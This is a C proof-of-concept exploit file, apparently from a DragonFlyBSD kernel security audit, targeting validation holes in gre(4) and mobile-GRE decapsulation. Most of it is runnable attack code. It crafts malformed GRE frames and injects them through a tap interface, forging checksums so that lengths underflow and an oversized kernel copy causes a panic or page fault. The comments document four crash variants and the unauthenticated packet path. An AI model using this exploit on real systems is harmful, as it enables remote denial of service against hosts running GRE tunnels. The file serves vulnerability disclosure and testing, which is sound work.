⬢ DragonFlyBSD Kernel Audit
DF-3423 / gre_poc.c
← back to finding ↓ download raw
/*
 * DF-3422 / DF-3423 PoC -- gre(4) decapsulation validation holes
 * (sys/netinet/ip_gre.c: gre_input2(), gre_mobile_input()).
 *
 * Variants (argv[1]):
 *
 *   gre40        GRE mode.  Outer ip_len=40, GRE flags CP|KP|SP make the
 *                kernel's computed hlen = 20+4+12 = 36.  m_data is pushed
 *                36 bytes into a 40-byte packet (4 bytes of "inner packet"
 *                left), but the outer packet's M_LENCHECKED is kept
 *                (ip_gre.c:192 clears only M_HASH), so ip_hashfn()
 *                (ip_demux.c:295) skips ip_lengthcheck() and ip_input()
 *                trusts the 4-byte "inner IP header": the fake header
 *                (frame bytes 50.., fully attacker-controlled even past
 *                ip_len because the ethernet frame padding stays in the
 *                mbuf cluster) claims IHL=5 ->
 *                  panic: complete IP header not in one mbuf
 *                (ip_input.c:539, INVARIANTS kernels).  On production
 *                kernels the KASSERT vanishes and the lying lengths flow
 *                on (ip_dooptions walk, ip_reass m_len underflow,
 *                negative TCP tlen -- the DF-3293/DF-3321 continuation).
 *
 *   greuflow     GRE mode.  Outer ip_len=24 but flags again claim +12 ->
 *                hlen=36 > 24:
 *                    m->m_len        -= 36;   -> -12  (int underflow)
 *                    m->m_pkthdr.len -= 36;   -> -12
 *                    m->m_data       += 36;   (past the data end)
 *                (ip_gre.c:180-182).  The same stale-M_LENCHECKED skip
 *                then hands a negative-length mbuf to ip_input ->
 *                same KASSERT (m_len < hlen) panic on INVARIANTS; on
 *                production kernels a negative m_len/pkthdr.len flows into
 *                ip_input and everything downstream.
 *
 *   mobile       MOBILE mode (ifconfig gre0 -link0).  A *well-formed*
 *                minimal mobile packet (outer ip_len=28 = 20 IP + 8-byte
 *                mobile header, valid checksum).  The decap computes the
 *                inner ip_len as outer+20-msiz (ip_gre.c:247) --
 *                double-counting the outer IP header (DF's ip_input does
 *                NOT pre-decrement ip_len, the comment's assumption is
 *                stale NetBSD rip_input behaviour) -- so the inner header
 *                claims 40 bytes while the mbuf has 20, and NEITHER
 *                M_HASH nor M_LENCHECKED is ever cleared
 *                (ip_gre.c:259-261) ->
 *                  panic: mbuf too short (ip_input.c:576)
 *                on INVARIANTS kernels for ANY valid mobile-GRE packet.
 *                Production: transports see ip_len 20 bytes longer than
 *                the data (in-cluster OOB reads / lying lengths).
 *
 *   mobileuflow  MOBILE mode.  Outer ip_len=20 (NO mobile header at all;
 *                the 8 "header" bytes are read from the ethernet frame
 *                padding past ip_len).  With a padding-crafted valid
 *                checksum, msiz=8 and
 *                    bcopy(src, dst, m->m_len - msiz - (ip->ip_hl<<2))
 *                gets length 20-8-20 = -8  ->  (size_t)-8
 *                (ip_gre.c:237-238) -> massive kernel-mode copy ->
 *                fatal page fault on ANY kernel (INVARIANTS or not).
 *
 * Path (unauthenticated, single frame from the "tunnel peer"):
 *   tapwrite -> ether_input -> ip_lengthcheck validates the OUTER header
 *   and sets M_LENCHECKED -> ip_input -> transport_processing_oncpu ->
 *   encap4_input (proto 47/55) on netisr0 -> gre_lookup() match ->
 *   gre_input2()/gre_mobile_input() decap bug -> netisr_queue(NETISR_IP)
 *   with stale M_HASH/M_LENCHECKED -> ip_hashfn skips ip_lengthcheck ->
 *   ip_input trusts the inner header.
 *
 * Setup (root, done by run.sh):
 *   ifconfig tap0 create; ifconfig tap0 up
 *   ifconfig tap0 inet 10.99.0.1 netmask 255.255.255.0
 *   kldload if_gre
 *   ifconfig gre0 create
 *   ifconfig gre0 tunnel 10.99.0.1 10.99.0.2
 *   ifconfig gre0 link0 up        # GRE mode    (gre40, greuflow)
 *   ifconfig gre0 -link0 up       # MOBILE mode (mobile, mobileuflow)
 *
 * Build:  cc -O -o gre_poc gre_poc.c
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <net/ethernet.h>
#include <net/if_dl.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

#define GRE_CP 0x8000
#define GRE_KP 0x2000
#define GRE_SP 0x1000

/* ones-complement checksum for the outer IP header */
static u_int16_t
cksum(const u_int16_t *w, int len)
{
	u_int32_t sum = 0;

	while (len > 1) {
		sum += *w++;
		len -= 2;
	}
	if (len == 1)
		sum += *(const u_char *)w;
	while (sum >> 16)
		sum = (sum & 0xffff) + (sum >> 16);
	return (u_int16_t)~sum;
}

/* byte-exact mirror of the kernel's gre_in_cksum() (if_gre.c) */
static u_short
gre_cksum(const u_short *p, u_int len)
{
	u_int sum = 0;
	int nwords = len >> 1;

	while (nwords-- != 0)
		sum += *p++;
	if (len & 1) {
		union { u_short w; u_char c[2]; } u;
		u.c[0] = *(u_char *)p;
		u.c[1] = 0;
		sum += u.w;
	}
	sum = (sum >> 16) + (sum & 0xffff);
	sum += (sum >> 16);
	return ((u_short)~sum);
}

static void
put16(u_char *b, u_int16_t v) { b[0] = v >> 8; b[1] = v & 0xff; }

int
main(int argc, char **argv)
{
	unsigned char pkt[128];
	struct ifreq ifr;
	struct ether_header *eh;
	struct ip *oip;
	u_char tapmac[ETHER_ADDR_LEN];
	const char *mode;
	int fd, n, total;
	u_char *gre, *mob, *inner;
	u_int16_t oiplen, proto;

	mode = argc > 1 ? argv[1] : "gre40";

	fd = open("/dev/tap0", O_RDWR);
	if (fd < 0) { perror("open /dev/tap0"); return 1; }

	/* tap0's MAC changes on every create - query it */
	{
		struct sockaddr_dl *sdl;

		memset(&ifr, 0, sizeof(ifr));
		if (ioctl(fd, SIOCGIFADDR, &ifr) < 0) {
			perror("SIOCGIFADDR");
			return 1;
		}
		sdl = (struct sockaddr_dl *)&ifr.ifr_addr;
		memcpy(tapmac, LLADDR(sdl), ETHER_ADDR_LEN);
	}

	memset(pkt, 0, sizeof(pkt));

	/* ---- ethernet: from the "gre peer" to us ---- */
	eh = (struct ether_header *)pkt;
	memcpy(eh->ether_dhost, tapmac, ETHER_ADDR_LEN);
	eh->ether_shost[0] = 0x02; eh->ether_shost[1] = 0x00;
	eh->ether_shost[2] = 0x00; eh->ether_shost[3] = 0x00;
	eh->ether_shost[4] = 0x00; eh->ether_shost[5] = 0x02;
	put16(&pkt[12], ETHERTYPE_IP);

	/* ---- outer IP: src=peer(10.99.0.2) dst=us(10.99.0.1) ---- */
	oip = (struct ip *)(pkt + sizeof(struct ether_header));
	oip->ip_v = 4; oip->ip_hl = 5;
	oip->ip_tos = 0;
	oip->ip_id = htons(1);
	oip->ip_off = 0;
	oip->ip_ttl = 64;
	inet_aton("10.99.0.2", &oip->ip_src);
	inet_aton("10.99.0.1", &oip->ip_dst);

	gre = pkt + 14 + 20;		/* GRE / mobile header at ip+20 */
	mob = gre;
	inner = pkt + 14 + 36;		/* where the kernel's m_data lands
					   for the CP|KP|SP GRE variants */

	if (strcmp(mode, "gre40") == 0 || strcmp(mode, "greuflow") == 0) {
		proto = 47;			/* IPPROTO_GRE */
		oiplen = strcmp(mode, "gre40") == 0 ? 76 : 24;
		put16(&gre[0], GRE_CP | GRE_KP | GRE_SP);	/* hlen += 4+4+4 */
		put16(&gre[2], ETHERTYPE_IP);			/* inner = IPv4 */
		/* gre[4..15]: fake checksum/offset, key and sequence fields
		 * (skipped over by m_data += 36) */
		/*
		 * inner: the fake inner IPv4 header the kernel will trust
		 * (frame offsets 50.., i.e. m_data+0 after the shift).
		 *
		 * gre40: m_len after decap = 76-36 = 40 (>= 20, so it gets
		 *   past ip_input.c:463); fake IHL=15 -> hlen 60 > m_len 40
		 *   -> panic "complete IP header not in one mbuf"
		 *   (ip_input.c:539) on INVARIANTS kernels.
		 * greuflow: hlen=36 > ip_len=24 -> m_len -= 36 -> -12
		 *   (int underflow, ip_gre.c:181); the negative length is
		 *   then printed by ip_input.c:463-464 ("... atomicy (-12)")
		 *   and the packet dropped there -- the console line is the
		 *   proof that a negative-length mbuf traversed the netisr
		 *   pipeline (on other paths, e.g. bpf listeners on gre0 or
		 *   dummynet tags, the bogus m_len is consumed further).
		 */
		inner[0] = 0x4F;			/* v4, IHL 15 -> hlen 60 */
		inner[1] = 0;
		put16(&inner[2], 40);			/* fake ip_len */
		put16(&inner[4], 0);
		put16(&inner[6], 0);
		inner[8] = 64;				/* ttl */
		inner[9] = 253;				/* proto (experimental) */
		inner[10] = inner[11] = 0;
		total = strcmp(mode, "gre40") == 0 ? 14 + 76 : 14 + 24 + 40;
	} else if (strcmp(mode, "mobile") == 0 ||
		   strcmp(mode, "mobileuflow") == 0) {
		u_int16_t hcrc;

		proto = 55;			/* IPPROTO_MOBILE */
		oiplen = strcmp(mode, "mobile") == 0 ? 28 : 20;
		/* mobile_h (8 bytes, S-bit clear -> msiz = MOB_H_SIZ_S = 8):
		 *   proto=0x0000, hcrc, odst=10.99.0.1(0x0a630001) */
		put16(&mob[0], 0x0000);
		mob[4] = 10; mob[5] = 99; mob[6] = 0; mob[7] = 1; /* odst */
		/* craft hcrc so gre_in_cksum(mob, 8) == 0:
		 *   gre_in_cksum returns ~total; want ~total == 0 ->
		 *   total == 0xffff -> hcrc = 0xffff - sum(proto,odst). */
		{
			u_int32_t s2;
			u_int16_t w0, w1, w2;
			memcpy(&w0, &mob[0], 2); memcpy(&w1, &mob[4], 2);
			memcpy(&w2, &mob[6], 2);
			s2 = w0 + w1 + w2;
			s2 = (s2 & 0xffff) + (s2 >> 16);
			s2 = (s2 & 0xffff) + (s2 >> 16);
			hcrc = (u_int16_t)(0xffff - s2);
		}
		/* NOTE: gre_in_cksum() sums NATIVE-endian u_short words, so
		 * the hcrc must be stored native (little-endian on x86) for
		 * the sum to fold to 0xffff -> kernel cksum returns 0. */
		memcpy(&mob[2], &hcrc, 2);
		fprintf(stderr, "%s: mobile hdr proto=0 hcrc=0x%04x "
		    "cksum(kernel-mirror)=0x%04x (want 0)\n",
		    mode, hcrc, gre_cksum((const u_short *)mob, 8));
		total = 14 + 20 + 8 + 8;	/* 50 bytes: for mobileuflow the
						 * mobile hdr is frame padding
						 * past ip_len=20 */
	} else {
		fprintf(stderr, "unknown variant %s\n", mode);
		return 1;
	}

	oip->ip_p = proto;
	oip->ip_len = htons(oiplen);
	oip->ip_sum = 0;
	oip->ip_sum = cksum((const u_int16_t *)oip, 20);

	fprintf(stderr, "%s: injecting frame: outer ip_len=%u proto=%u "
	    "(frame %d bytes)\n", mode, oiplen, proto, total);
	n = write(fd, pkt, total);
	if (n < 0) { perror("write tap"); return 1; }
	fprintf(stderr, "%s: wrote %d bytes, done\n", mode, n);
	return 0;
}